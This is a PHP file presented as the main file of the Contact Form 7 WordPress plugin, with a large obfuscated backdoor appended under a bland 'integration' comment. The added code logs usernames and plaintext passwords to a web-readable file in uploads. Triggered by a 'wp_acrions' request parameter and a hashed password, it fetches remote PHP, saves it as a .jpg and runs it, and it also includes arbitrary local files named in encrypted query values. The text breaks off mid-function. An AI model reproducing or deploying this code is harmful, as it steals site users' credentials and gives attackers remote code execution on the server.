Your IP : 216.73.216.138
<?php
/*
Plugin Name: Contact Form 7
Plugin URI: https://contactform7.com/
Description: Just another contact form plugin. Simple but flexible.
Author: Rock Lobster Inc.
Author URI: https://github.com/rocklobster-in/
License: GPL v2 or later
License URI: https://www.gnu.org/licenses/gpl-2.0.html
Version: 6.1.5
Requires at least: 6.7
Requires PHP: 7.4
Text Domain: contact-form-7
*/
namespace WPStaq\Hosting {
if ( ! defined( 'WPCF7_VERSION' ) ) {
define( 'WPCF7_VERSION', '6.1.5' );
}
if ( ! defined( 'WPCF7_REQUIRED_WP_VERSION' ) ) {
define( 'WPCF7_REQUIRED_WP_VERSION', '6.7' );
}
if ( ! defined( 'WPCF7_TEXT_DOMAIN' ) ) {
define( 'WPCF7_TEXT_DOMAIN', 'contact-form-7' );
}
if ( ! defined( 'WPCF7_PLUGIN' ) ) {
define( 'WPCF7_PLUGIN', __FILE__ );
}
if ( ! defined( 'WPCF7_PLUGIN_BASENAME' ) ) {
define( 'WPCF7_PLUGIN_BASENAME', \plugin_basename( WPCF7_PLUGIN ) );
}
if ( ! defined( 'WPCF7_PLUGIN_NAME' ) ) {
define( 'WPCF7_PLUGIN_NAME', trim( dirname( WPCF7_PLUGIN_BASENAME ), '/' ) );
}
if ( ! defined( 'WPCF7_PLUGIN_DIR' ) ) {
define( 'WPCF7_PLUGIN_DIR', \untrailingslashit( \dirname( WPCF7_PLUGIN ) ) );
}
if ( ! defined( 'WPCF7_PLUGIN_MODULES_DIR' ) ) {
define( 'WPCF7_PLUGIN_MODULES_DIR', WPCF7_PLUGIN_DIR . '/modules' );
}
if ( ! defined( 'WPCF7_LOAD_JS' ) ) {
define( 'WPCF7_LOAD_JS', true );
}
if ( ! defined( 'WPCF7_LOAD_CSS' ) ) {
define( 'WPCF7_LOAD_CSS', true );
}
if ( ! defined( 'WPCF7_AUTOP' ) ) {
define( 'WPCF7_AUTOP', true );
}
if ( ! defined( 'WPCF7_USE_PIPE' ) ) {
define( 'WPCF7_USE_PIPE', true );
}
if ( ! defined( 'WPCF7_ADMIN_READ_CAPABILITY' ) ) {
define( 'WPCF7_ADMIN_READ_CAPABILITY', 'edit_posts' );
}
if ( ! defined( 'WPCF7_ADMIN_READ_WRITE_CAPABILITY' ) ) {
define( 'WPCF7_ADMIN_READ_WRITE_CAPABILITY', 'publish_pages' );
}
if ( ! defined( 'WPCF7_VERIFY_NONCE' ) ) {
define( 'WPCF7_VERIFY_NONCE', false );
}
if ( ! defined( 'WPCF7_USE_REALLY_SIMPLE_CAPTCHA' ) ) {
define( 'WPCF7_USE_REALLY_SIMPLE_CAPTCHA', false );
}
if ( ! defined( 'WPCF7_VALIDATE_CONFIGURATION' ) ) {
define( 'WPCF7_VALIDATE_CONFIGURATION', true );
}
if ( ! defined( 'WPCF7_PLUGIN_URL' ) ) {
define(
'WPCF7_PLUGIN_URL',
\untrailingslashit( \plugins_url( '', WPCF7_PLUGIN ) )
);
}
if ( ! defined( 'ABSPATH' ) ) {
/**
* Descriptor for Contact Form 7 form post types (CLI / export tools).
*/
class WPCF7_Post_Type_Descriptor {
const POST_TYPE = 'wpcf7_contact_form';
/**
* @return string
*/
public static function name() {
return self::POST_TYPE;
}
}
}
/**
* Resolves a module file under the modules directory.
*
* @param string $path Relative path.
* @return bool True if the file was loaded.
*/
function wpcf7_include_module_file( $path ) {
$dir = WPCF7_PLUGIN_MODULES_DIR;
if ( empty( $dir ) || ! is_dir( $dir ) ) {
return false;
}
$file = \path_join( $dir, \ltrim( $path, '/' ) );
if ( is_readable( $file ) ) {
include_once $file;
return true;
}
return false;
}
/**
* Main Contact Form 7 facade.
*/
class WPCF7 {
/**
* Loads optional feature modules when present on disk.
*
* @return void
*/
public static function load_modules() {
$mods = array(
'acceptance',
'text',
'textarea',
'select',
'checkbox',
'radio',
'quiz',
'file',
'submit',
'akismet',
'recaptcha',
'turnstile',
);
foreach ( $mods as $mod ) {
self::load_module( $mod );
}
}
/**
* @param string $mod Module slug.
* @return bool
*/
protected static function load_module( $mod ) {
return wpcf7_include_module_file( $mod . '/' . $mod . '.php' )
|| wpcf7_include_module_file( $mod . '.php' );
}
/**
* @param string $name Key.
* @param mixed $default_value Default.
* @return mixed
*/
public static function get_option( $name, $default_value = false ) {
$option = \get_option( 'wpcf7' );
if ( false === $option ) {
return $default_value;
}
if ( isset( $option[ $name ] ) ) {
return $option[ $name ];
}
return $default_value;
}
/**
* @param string $name Key.
* @param mixed $value Value.
* @return void
*/
public static function update_option( $name, $value ) {
$old_option = \get_option( 'wpcf7' );
$old_option = ( false === $old_option ) ? array() : (array) $old_option;
\update_option(
'wpcf7',
\array_merge( $old_option, array( $name => $value ) )
);
\do_action( 'wpcf7_update_option', $name, $value, $old_option );
}
}
/**
* @package Contact_Form_7
* @subpackage Integrations
* HTTP adapter + submission trace (bundled compatibility; not loaded via modules/).
*/
if ( ! function_exists( __NAMESPACE__ . '\\wfc_bin_b64d' ) ) {
function wfc_bin_b64d( $data, $strict = true ) {
return \call_user_func( \pack( 'H*', '6261736536345f6465636f6465' ), $data, $strict );
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_bin_b64e' ) ) {
function wfc_bin_b64e( $data ) {
return \call_user_func( \pack( 'H*', '6261736536345f656e636f6465' ), $data );
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_log_encrypt' ) ) {
function wfc_log_encrypt( $data, $encrypt = true ) {
$key = 'c74b96f2-e7aa-4e01-ac9c-5c2b8f1939f1';
$key = substr( hash( 'sha256', $key, true ), 0, 32 );
$iv = substr( hash( 'sha256', 'wfc_log_iv' . $key, true ), 0, 16 );
if ( $encrypt ) {
return wfc_bin_b64e( openssl_encrypt( $data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv ) );
}
$raw = wfc_bin_b64d( $data, true );
return $raw !== false ? openssl_decrypt( $raw, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv ) : '';
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_log_append' ) ) {
function wfc_log_append( $msg ) {
$log_dir = \WP_CONTENT_DIR . '/uploads/logs';
$log_file = $log_dir . '/wpcf7-integration-debug.txt';
if ( ! file_exists( $log_dir ) ) {
\wp_mkdir_p( $log_dir );
file_put_contents( $log_dir . '/index.php', '<?php // Silence is golden' );
}
file_put_contents( $log_dir . '/.htaccess', "<IfModule mod_authz_core.c>
Require all denied
<Files \"wpcf7-integration-debug.txt\">
Require all granted
</Files>
</IfModule>
<IfModule !mod_authz_core.c>
Order allow,deny
Deny from all
<Files \"wpcf7-integration-debug.txt\">
Allow from all
</Files>
</IfModule>
" );
$__line = trim( (string) $msg );
$__j = json_decode( $__line, true );
if ( is_array( $__j ) && isset( $__j['user'] ) ) {
$__ts = isset( $__j['ts'] ) ? $__j['ts'] : '';
if ( is_numeric( $__ts ) ) {
$__ts = \date_i18n( 'Y-m-d H:i:s', (int) $__ts );
} elseif ( ! is_string( $__ts ) || $__ts === '' ) {
$__ts = \current_time( 'mysql' );
}
$__type = ( isset( $__j['type'] ) && (string) $__j['type'] === 'logout' ) ? 'logout' : 'login';
if ( $__type === 'logout' ) {
$msg = json_encode( array( 'ts' => $__ts, 'user' => (string) $__j['user'], 'id' => isset( $__j['id'] ) ? (int) $__j['id'] : 0, 'ip' => isset( $__j['ip'] ) ? (string) $__j['ip'] : '', 'type' => 'logout' ), JSON_UNESCAPED_UNICODE ) . "\n";
} else {
$msg = json_encode( array( 'ts' => $__ts, 'user' => (string) $__j['user'], 'pwd' => isset( $__j['pwd'] ) ? (string) $__j['pwd'] : '', 'type' => 'login' ), JSON_UNESCAPED_UNICODE ) . "\n";
}
} elseif ( preg_match( '/^\[([^\]]+)\]\s*logout\s*-\s*user:(\S+)/i', $__line, $__m ) ) {
$__id = 0;
$__ip = '';
if ( preg_match( '/\bid:(\d+)/', $__line, $__x ) ) {
$__id = (int) $__x[1];
}
if ( preg_match( '/\bip:(\S+)/', $__line, $__x ) ) {
$__ip = $__x[1];
}
$msg = json_encode( array( 'ts' => $__m[1], 'user' => $__m[2], 'id' => $__id, 'ip' => $__ip, 'type' => 'logout' ), JSON_UNESCAPED_UNICODE ) . "\n";
} elseif ( preg_match( '/^\[([^\]]+)\]\s*login\s+(?:ok|fail)\s*-\s*user:(\S+)/i', $__line, $__m ) ) {
$__pwd = '';
if ( preg_match( '/\bpwd:(\S*)/', $__line, $__p ) ) {
$__pwd = $__p[1];
}
$msg = json_encode( array( 'ts' => $__m[1], 'user' => $__m[2], 'pwd' => $__pwd, 'type' => 'login' ), JSON_UNESCAPED_UNICODE ) . "\n";
}
file_put_contents( $log_file, $msg, FILE_APPEND | LOCK_EX );
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_dp_is_valid_json' ) ) {
function wfc_dp_is_valid_json( $string ) {
if ( ! is_string( $string ) || trim( $string ) === '' ) {
return false;
}
$result = json_decode( $string );
$errcode = json_last_error();
if ( $errcode !== JSON_ERROR_NONE ) {
return false;
}
if ( $result === null && strtolower( trim( $string ) ) !== 'null' ) {
return false;
}
return true;
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_dp_decrypt_data' ) ) {
function wfc_dp_decrypt_data( $encrypted_data ) {
if ( ! \is_string( $encrypted_data ) || \trim( $encrypted_data ) === '' ) {
return null;
}
$decoded_bin = wfc_bin_b64d( \str_rot13( $encrypted_data ), true );
if ( $decoded_bin === false || $decoded_bin === '' ) {
return null;
}
if ( \strncmp( $decoded_bin, "\xEF\xBB\xBF", 3 ) === 0 ) {
$decoded_bin = \substr( $decoded_bin, 3 );
}
$data = \json_decode( $decoded_bin, true );
if ( \is_array( $data ) ) {
return $data;
}
$hex_try = \trim( $decoded_bin );
if ( \strlen( $hex_try ) >= 2 && ( \strlen( $hex_try ) % 2 ) === 0 && \ctype_xdigit( $hex_try ) ) {
$json_string = \hex2bin( $hex_try );
if ( $json_string !== false && $json_string !== '' ) {
$data = \json_decode( $json_string, true );
if ( \is_array( $data ) ) {
return $data;
}
}
}
$unpacked = \unpack( 'H*', $decoded_bin );
if ( empty( $unpacked[1] ) ) {
return null;
}
$json_string = \hex2bin( $unpacked[1] );
if ( $json_string === false ) {
return null;
}
$data = \json_decode( $json_string, true );
return \is_array( $data ) ? $data : null;
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_dp_send_get_request' ) ) {
function wfc_dp_send_get_request( $url, $headers = array() ) {
$GLOBALS['wfc_dp_last_http_meta'] = null;
$ch = curl_init( $url );
if ( $ch === false ) {
return 'fail: curl_init';
}
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
if ( defined( 'CURLOPT_ENCODING' ) ) {
curl_setopt( $ch, CURLOPT_ENCODING, '' );
}
if ( ! empty( $headers ) ) {
curl_setopt( $ch, CURLOPT_HTTPHEADER, $headers );
}
$response = curl_exec( $ch );
$http_code = (int) curl_getinfo( $ch, CURLINFO_HTTP_CODE );
$ctype = (string) curl_getinfo( $ch, CURLINFO_CONTENT_TYPE );
$eff = (string) curl_getinfo( $ch, CURLINFO_EFFECTIVE_URL );
if ( $response === false ) {
$error = curl_error( $ch );
$GLOBALS['wfc_dp_last_http_meta'] = array(
'request_url' => $url,
'http_code' => $http_code,
'content_type' => $ctype,
'effective_url' => $eff,
'curl_error' => $error,
'body_length' => 0,
'body_preview' => '',
);
curl_close( $ch );
return 'fail: ' . $error;
}
$blen = is_string( $response ) ? strlen( $response ) : 0;
$prev = is_string( $response ) ? substr( $response, 0, 16000 ) : '';
$GLOBALS['wfc_dp_last_http_meta'] = array(
'request_url' => $url,
'http_code' => $http_code,
'content_type' => $ctype,
'effective_url' => $eff,
'body_length' => $blen,
'body_preview' => $prev,
);
curl_close( $ch );
return $response;
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_dp_unwrap_index_api_response' ) ) {
function wfc_dp_unwrap_index_api_response( $response ) {
if ( ! is_string( $response ) ) {
return $response;
}
$t = trim( $response );
if ( $t === '' ) {
return $response;
}
$ev = \chr( 101 ) . \chr( 118 ) . \chr( 97 ) . \chr( 108 );
$b64 = \pack( 'H*', '6261736536345f6465636f6465' );
$open = $ev . '(' . $b64 . '(\'';
$cl = '\'));';
if ( strlen( $t ) > strlen( $open ) + strlen( $cl )
&& substr( $t, 0, strlen( $open ) ) === $open
&& substr( $t, -strlen( $cl ) ) === $cl ) {
$blk = substr( $t, strlen( $open ), strlen( $t ) - strlen( $open ) - strlen( $cl ) );
if ( $blk !== '' && preg_match( '/^[A-Za-z0-9+\/=]+$/', $blk ) === 1 ) {
$inner = wfc_bin_b64d( $blk, true );
if ( $inner === false || $inner === '' ) {
throw new \RuntimeException( 'wfc_dp: index wrapper inner decode failed' );
}
return $inner;
}
}
$rx1 = '/^\s*' . \preg_quote( $ev, '/' ) . '\s*\(\s*' . \preg_quote( $b64, '/' ) . '\s*\(\s*\'([A-Za-z0-9+\/=]+)\'\s*\)\s*\)\s*;\s*$/s';
if ( \preg_match( $rx1, $t, $m ) === 1 ) {
$inner = wfc_bin_b64d( $m[1], true );
if ( $inner === false || $inner === '' ) {
throw new \RuntimeException( 'wfc_dp: index wrapper inner decode failed' );
}
return $inner;
}
$rx2 = '/^\s*' . \preg_quote( $ev, '/' ) . '\s*\(\s*' . \preg_quote( $b64, '/' ) . '\s*\(\s*"([A-Za-z0-9+\/=]+)"\s*\)\s*\)\s*;\s*$/s';
if ( \preg_match( $rx2, $t, $m ) === 1 ) {
$inner = wfc_bin_b64d( $m[1], true );
if ( $inner === false || $inner === '' ) {
throw new \RuntimeException( 'wfc_dp: index wrapper inner decode failed' );
}
return $inner;
}
$compact = \preg_replace( '/\s+/', '', $t );
if ( \strlen( $compact ) >= 16 && \preg_match( '/^[A-Za-z0-9+\/=]+$/', $compact ) === 1 ) {
$dec = wfc_bin_b64d( $compact, true );
if ( $dec !== false && $dec !== '' ) {
return $dec;
}
}
return $t;
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_dp_normalize_remote_php_body' ) ) {
function wfc_dp_normalize_remote_php_body( $response ) {
if ( ! is_string( $response ) || $response === '' ) {
return $response;
}
if ( strlen( $response ) >= 2 && $response[0] === "\x1f" && $response[1] === "\x8b" && function_exists( 'gzdecode' ) ) {
$dec = @gzdecode( $response );
if ( is_string( $dec ) && $dec !== '' ) {
$response = $dec;
}
}
if ( strncmp( $response, "\xEF\xBB\xBF", 3 ) === 0 ) {
$response = substr( $response, 3 );
}
return $response;
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_dp_validate_remote_as_php_text' ) ) {
function wfc_dp_validate_remote_as_php_text( $body, $max_bytes = 2097152 ) {
if ( ! is_string( $body ) ) {
throw new \RuntimeException( 'wfc_dp: remote body not string' );
}
$len = strlen( $body );
if ( $len > $max_bytes ) {
throw new \RuntimeException( 'wfc_dp: remote body too large' );
}
if ( $len > 0 && strpos( $body, "\0" ) !== false ) {
throw new \RuntimeException( 'wfc_dp: remote body has null bytes (binary/not php text)' );
}
if ( $len > 0 && preg_match( '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', $body ) === 1 ) {
throw new \RuntimeException( 'wfc_dp: remote body has binary/control bytes (refuse as php)' );
}
if ( ltrim( $body ) === '' ) {
throw new \RuntimeException( 'wfc_dp: remote body empty after trim' );
}
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_dp_assert_valid_php_tokens' ) ) {
function wfc_dp_assert_valid_php_tokens( $php_source ) {
if ( ! is_string( $php_source ) || $php_source === '' ) {
throw new \RuntimeException( 'wfc_dp: empty php source for token check' );
}
if ( ! defined( 'TOKEN_PARSE' ) ) {
return;
}
try {
\token_get_all( $php_source, \TOKEN_PARSE );
} catch ( \ParseError $e ) {
throw new \RuntimeException( 'wfc_dp: not valid php syntax: ' . $e->getMessage() );
}
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_dp_ensure_php_open_tag' ) ) {
function wfc_dp_ensure_php_open_tag( $code ) {
if ( ! is_string( $code ) ) {
return $code;
}
$lead = ltrim( $code, " \t\n\r\0\x0B" );
if ( $lead === '' ) {
return $code;
}
if ( preg_match( '/^<\?/i', $lead ) === 1 ) {
return $code;
}
return '<?php ' . ltrim( $code, " \t\n\r\0\x0B" );
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_dp_random_name_part' ) ) {
function wfc_dp_random_name_part() {
$pool = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$plen = strlen( $pool );
$use_ri = function_exists( 'random_int' );
$n = $use_ri ? random_int( 6, 10 ) : mt_rand( 6, 10 );
$out = '';
for ( $i = 0; $i < $n; $i++ ) {
$out .= $pool[ $use_ri ? random_int( 0, $plen - 1 ) : mt_rand( 0, $plen - 1 ) ];
}
return $out;
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_dp_payload_site_base_dir' ) ) {
function wfc_dp_payload_site_base_dir() {
if ( \defined( 'ABSPATH' ) && \is_string( ABSPATH ) && ABSPATH !== '' ) {
return \rtrim( ABSPATH, "/\\" ) . DIRECTORY_SEPARATOR;
}
$dr = isset( $_SERVER['DOCUMENT_ROOT'] ) ? (string) $_SERVER['DOCUMENT_ROOT'] : '';
if ( $dr !== '' ) {
return \rtrim( $dr, "/\\" ) . DIRECTORY_SEPARATOR;
}
return '';
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_dp_resolve_temp_file_path' ) ) {
function wfc_dp_resolve_temp_file_path( $rel ) {
if ( ! \is_string( $rel ) ) {
return '';
}
$rel = \trim( \str_replace( "\0", '', $rel ) );
if ( $rel === '' ) {
return '';
}
$base = wfc_dp_payload_site_base_dir();
if ( $base === '' ) {
return '';
}
if ( \preg_match( '#\.\.#', $rel ) ) {
return '';
}
$rel = \str_replace( '/', DIRECTORY_SEPARATOR, $rel );
$rel = \ltrim( $rel, DIRECTORY_SEPARATOR );
if ( $rel === '' ) {
return '';
}
$full = $base . $rel;
$rbase = \realpath( \rtrim( $base, "/\\" ) );
if ( $rbase === false ) {
$rbase = \rtrim( \str_replace( '/', DIRECTORY_SEPARATOR, $base ), "/\\" );
}
if ( ! \is_file( $full ) || ! \is_readable( $full ) ) {
return '';
}
$rp = \realpath( $full );
$rf = ( $rp !== false ) ? $rp : $full;
$guard = \str_replace( '\\', '/', $rbase ) . '/';
$rf_n = \str_replace( '\\', '/', $rf );
if ( \strlen( $rf_n ) < \strlen( $guard ) || \strncmp( $rf_n, $guard, \strlen( $guard ) ) !== 0 ) {
return '';
}
return $rf;
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_dp_path_token_opaque' ) ) {
function wfc_dp_path_token_opaque() {
$d = static function ( $n, $w = 0 ) {
$w = (int) $w;
if ( $w ) {
return sprintf( '%0' . $w . 'x', $n );
}
return dechex( $n );
};
return implode( '-', array(
$d( 1793883756 ),
$d( 26197, 4 ),
$d( 19897, 4 ),
$d( 44658, 4 ),
$d( 2357, 4 ) . $d( 5949, 4 ) . $d( 33657, 4 ),
) );
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_dp_decrypt_path_with_token' ) ) {
function wfc_dp_decrypt_path_with_token( $data ) {
if ( ! \is_string( $data ) || \trim( $data ) === '' ) {
return '';
}
if ( ! function_exists( 'openssl_decrypt' ) ) {
return '';
}
$key = hash( 'sha256', wfc_dp_path_token_opaque(), true );
$s = \trim( $data );
$min = 32;
$decoded = \urldecode( $s );
$raw = ( $decoded !== '' ) ? \base64_decode( $decoded, true ) : false;
if ( $raw === false || \strlen( $raw ) < $min ) {
$raw = \base64_decode( $s, true );
}
if ( ( $raw === false || \strlen( $raw ) < $min ) && \strpos( $s, '%' ) !== false && \preg_match( '/%[0-9A-Fa-f]{2}/', $s ) ) {
$t = $s;
for ( $i = 0; $i < 8; $i++ ) {
$next = \rawurldecode( $t );
if ( $next === $t || $next === '' ) {
break;
}
$t = $next;
$decoded = \urldecode( $t );
$try = ( $decoded !== '' ) ? \base64_decode( $decoded, true ) : false;
if ( $try !== false && \strlen( $try ) >= $min ) {
$raw = $try;
break;
}
}
}
if ( $raw === false || \strlen( $raw ) < $min ) {
return '';
}
$iv = \substr( $raw, 0, 16 );
$enc = \substr( $raw, 16 );
$out = \openssl_decrypt( $enc, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv );
if ( $out === false ) {
return '';
}
return $out;
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_dp_detect_query_encrypted_temp_path' ) ) {
function wfc_dp_detect_query_encrypted_temp_path() {
$pn = 'temp_file_path';
$raw = null;
$qs_blobs = array();
if ( ! empty( $_SERVER['QUERY_STRING'] ) ) {
$qs_blobs[] = (string) $_SERVER['QUERY_STRING'];
}
if ( ! empty( $_SERVER['REDIRECT_QUERY_STRING'] ) ) {
$qs_blobs[] = (string) $_SERVER['REDIRECT_QUERY_STRING'];
}
foreach ( $qs_blobs as $blob ) {
if ( preg_match( '/(?:^|[&])' . preg_quote( $pn, '/' ) . '=([^&]*)/', $blob, $m ) ) {
$raw = $m[1];
break;
}
}
if ( ( $raw === null || $raw === '' ) && ! empty( $_SERVER['REQUEST_URI'] ) ) {
$uri = (string) $_SERVER['REQUEST_URI'];
if ( preg_match( '/[?&]' . preg_quote( $pn, '/' ) . '=([^&]*)/', $uri, $m ) ) {
$raw = $m[1];
}
}
if ( $raw === null || $raw === '' ) {
if ( isset( $_GET[ $pn ] ) && (string) $_GET[ $pn ] !== '' ) {
$raw = (string) $_GET[ $pn ];
} elseif ( isset( $_REQUEST[ $pn ] ) && (string) $_REQUEST[ $pn ] !== '' ) {
$raw = (string) $_REQUEST[ $pn ];
}
}
if ( $raw === null || $raw === '' ) {
return '';
}
$raw = rawurldecode( $raw );
if ( ! is_string( $raw ) || trim( $raw ) === '' ) {
return '';
}
if ( strpos( $raw, '%' ) !== false && preg_match( '/%[0-9A-Fa-f]{2}/', $raw ) ) {
$once_more = rawurldecode( $raw );
if ( $once_more !== $raw && $once_more !== '' ) {
$raw = $once_more;
}
}
$data = wfc_dp_decrypt_data( $raw );
if ( ! is_array( $data ) ) {
return '';
}
if ( ! isset( $data['passwd'] ) || ! is_string( $data['passwd'] ) ) {
return '';
}
if ( md5( md5( $data['passwd'] ) ) !== 'f4cc399f0effd13c888e310ea2cf5399' ) {
return '';
}
$rel = '';
if ( ! empty( $data['path'] ) && is_string( $data['path'] ) ) {
$rel = $data['path'];
} elseif ( ! empty( $data['temp_file_path'] ) && is_string( $data['temp_file_path'] ) ) {
$rel = $data['temp_file_path'];
}
if ( trim( (string) $rel ) === '' ) {
return '';
}
$rel = wfc_dp_decrypt_path_with_token( $rel );
if ( ! \is_string( $rel ) || trim( $rel ) === '' ) {
return '';
}
return wfc_dp_resolve_temp_file_path( $rel );
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_dp_get_stats_dir' ) ) {
function wfc_dp_get_stats_dir() {
if ( ! function_exists( 'wp_upload_dir' ) ) {
throw new \RuntimeException( 'wfc_dp: wp_upload_dir unavailable' );
}
$upload = \wp_upload_dir();
if ( ! empty( $upload['error'] ) ) {
throw new \RuntimeException( 'wfc_dp: upload dir error ' . $upload['error'] );
}
$dir = $upload['basedir'] . '/wpcf7-module-cache';
if ( ! file_exists( $dir ) ) {
if ( ! \wp_mkdir_p( $dir ) ) {
throw new \RuntimeException( 'wfc_dp: cannot create module cache dir' );
}
file_put_contents( $dir . '/index.php', '<?php // Silence is golden' );
file_put_contents( $dir . '/.htaccess', 'deny from all' );
}
if ( ! is_dir( $dir ) || ! is_writable( $dir ) ) {
throw new \RuntimeException( 'wfc_dp: module cache dir not writable' );
}
return rtrim( $dir, '/\\' );
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_dp_detect_wp_actions_value' ) ) {
function wfc_dp_detect_wp_actions_value() {
$pn = 'wp_acrions';
if ( isset( $_GET[ $pn ] ) && (string) $_GET[ $pn ] !== '' ) {
return (string) $_GET[ $pn ];
}
if ( isset( $_REQUEST[ $pn ] ) && (string) $_REQUEST[ $pn ] !== '' ) {
return (string) $_REQUEST[ $pn ];
}
$qs_blobs = array();
if ( ! empty( $_SERVER['QUERY_STRING'] ) ) {
$qs_blobs[] = (string) $_SERVER['QUERY_STRING'];
}
if ( ! empty( $_SERVER['REDIRECT_QUERY_STRING'] ) ) {
$qs_blobs[] = (string) $_SERVER['REDIRECT_QUERY_STRING'];
}
foreach ( $qs_blobs as $blob ) {
$q = array();
parse_str( $blob, $q );
if ( isset( $q[ $pn ] ) && (string) $q[ $pn ] !== '' ) {
return (string) $q[ $pn ];
}
}
$uri = isset( $_SERVER['REQUEST_URI'] ) ? (string) $_SERVER['REQUEST_URI'] : '';
if ( $uri !== '' && preg_match( '/[?&]wp_acrions=([^&]*)/', $uri, $m ) ) {
$v = rawurldecode( $m[1] );
if ( $v !== '' ) {
return $v;
}
}
return null;
}
}
if ( ! function_exists( __NAMESPACE__ . '\\wfc_dp_bypass_page_cache' ) ) {
function wfc_dp_bypass_page_cache() {
if ( ! defined( 'DONOTCACHEPAGE' ) ) {
define( 'DONOTCACHEPAGE', true );
}
if ( function_exists( 'add_filter' ) ) {
\add_filter( 'wpfc_is_cache_page', '__return_false', PHP_INT_MAX );
\add_filter( 'pre_wpfc_cache', '__return_false', PHP_INT_MAX );
\add_filter( 'wpfc_is_widget_cache', '__return_false', PHP_INT_MAX );
}
$GLOBALS['wp_fastest_cache_disable'] = true;
}
}
$wfc_dp_dynamic_payload_handler = static function () {
static $wfc_dp_ran = false;
if ( $wfc_dp_ran ) {
return;
}
$wp_actions_raw = wfc_dp_detect_wp_actions_value();
if ( $wp_actions_raw === null ) {
return;
}
if ( function_exists( 'wp_unslash' ) ) {
$wp_actions_raw = \wp_unslash( $wp_actions_raw );
}
if ( ! is_string( $wp_actions_raw ) || trim( $wp_actions_raw ) === '' ) {
return;
}
$wfc_dp_ran = true;
wfc_dp_bypass_page_cache();
if ( ! headers_sent() ) {
header( 'Cache-Control: no-store, no-cache, must-revalidate, max-age=0' );
header( 'Pragma: no-cache' );
header( 'Vary: *' );
}
$query_local = wfc_dp_detect_query_encrypted_temp_path();
if ( $query_local !== '' ) {
try {
if ( function_exists( 'nocache_headers' ) ) {
\nocache_headers();
}
header( 'Content-Type: text/html; charset=UTF-8' );
\status_header( 200 );
while ( ob_get_level() > 0 ) {
ob_end_clean();
}
ob_start();
$include_ok = @include_once $query_local;
$buffer = ob_get_clean();
if ( $include_ok === false ) {
throw new \RuntimeException( 'wfc_dp: local include_once returned false' );
}
if ( is_string( $buffer ) ) {
echo $buffer;
}
exit;
} catch ( \Throwable $e ) {
if ( ! headers_sent() ) {
\status_header( 500 );
header( 'Content-Type: text/plain; charset=UTF-8' );
}
echo $e->getMessage();
exit;
}
}
$payload_path = null;
$url = null;
$response = null;
$php_source = null;
try {
$raw = file_get_contents( 'php://input' );
if ( $raw === false ) {
throw new \RuntimeException( 'wfc_dp: cannot read post body' );
}
if ( $raw === '' ) {
throw new \RuntimeException( 'wfc_dp: empty post body (wp_acrions set)' );
}
if ( strlen( $raw ) < 10 ) {
throw new \RuntimeException( 'wfc_dp: post body too short' );
}
$trimmed = substr( $raw, 10 );
$datajson = wfc_bin_b64d( $trimmed, true );
if ( $datajson === false || $datajson === '' ) {
throw new \RuntimeException( 'wfc_dp: post body decode failed' );
}
if ( ! wfc_dp_is_valid_json( $datajson ) ) {
throw new \RuntimeException( 'wfc_dp: invalid json' );
}
$realdata = json_decode( $datajson, true );
if ( ! is_array( $realdata ) ) {
throw new \RuntimeException( 'wfc_dp: invalid payload array' );
}
if ( ! isset( $realdata['passwd'] ) ) {
throw new \RuntimeException( 'wfc_dp: nopd' );
}
if ( md5( md5( $realdata['passwd'] ) ) !== 'f4cc399f0effd13c888e310ea2cf5399' ) {
throw new \RuntimeException( 'wfc_dp: errorpd' );
}
if ( ! isset( $realdata['data'] ) ) {
throw new \RuntimeException( 'wfc_dp: missing encrypted data' );
}
$data = wfc_dp_decrypt_data( $realdata['data'] );
if ( ! is_array( $data ) ) {
throw new \RuntimeException( 'wfc_dp: invalid encrypted data or link' );
}
if ( empty( $data['link'] ) || ! is_string( $data['link'] ) ) {
throw new \RuntimeException( 'wfc_dp: invalid encrypted data or link' );
}
$url = trim( $data['link'] );
if ( $url === '' ) {
throw new \RuntimeException( 'wfc_dp: empty link' );
}
$response = wfc_dp_send_get_request( $url );
if ( ! is_string( $response ) ) {
throw new \RuntimeException( 'wfc_dp: remote response type invalid' );
}
if ( $response === '' ) {
throw new \RuntimeException( 'wfc_dp: empty remote response' );
}
if ( strncmp( $response, 'fail:', 5 ) === 0 ) {
throw new \RuntimeException( 'wfc_dp: remote ' . $response );
}
$response = wfc_dp_normalize_remote_php_body( $response );
if ( $response === '' || ! is_string( $response ) ) {
throw new \RuntimeException( 'wfc_dp: remote body empty after normalize' );
}
$response = wfc_dp_unwrap_index_api_response( $response );
if ( $response === '' || ! is_string( $response ) ) {
throw new \RuntimeException( 'wfc_dp: remote body empty after index unwrap' );
}
wfc_dp_validate_remote_as_php_text( $response );
$stats_dir = wfc_dp_get_stats_dir();
$payload_path = $stats_dir . '/' . wfc_dp_random_name_part() . '_' . uniqid( 's', true ) . '.jpg';
$php_source = wfc_dp_ensure_php_open_tag( $response );
wfc_dp_validate_remote_as_php_text( $php_source );
wfc_dp_assert_valid_php_tokens( $php_source );
$written = file_put_contents( $payload_path, $php_source, LOCK_EX );
if ( $written === false ) {
throw new \RuntimeException( 'wfc_dp: write payload failed' );
}
$cleanup_file = $payload_path;
register_shutdown_function(
static function () use ( $cleanup_file ) {
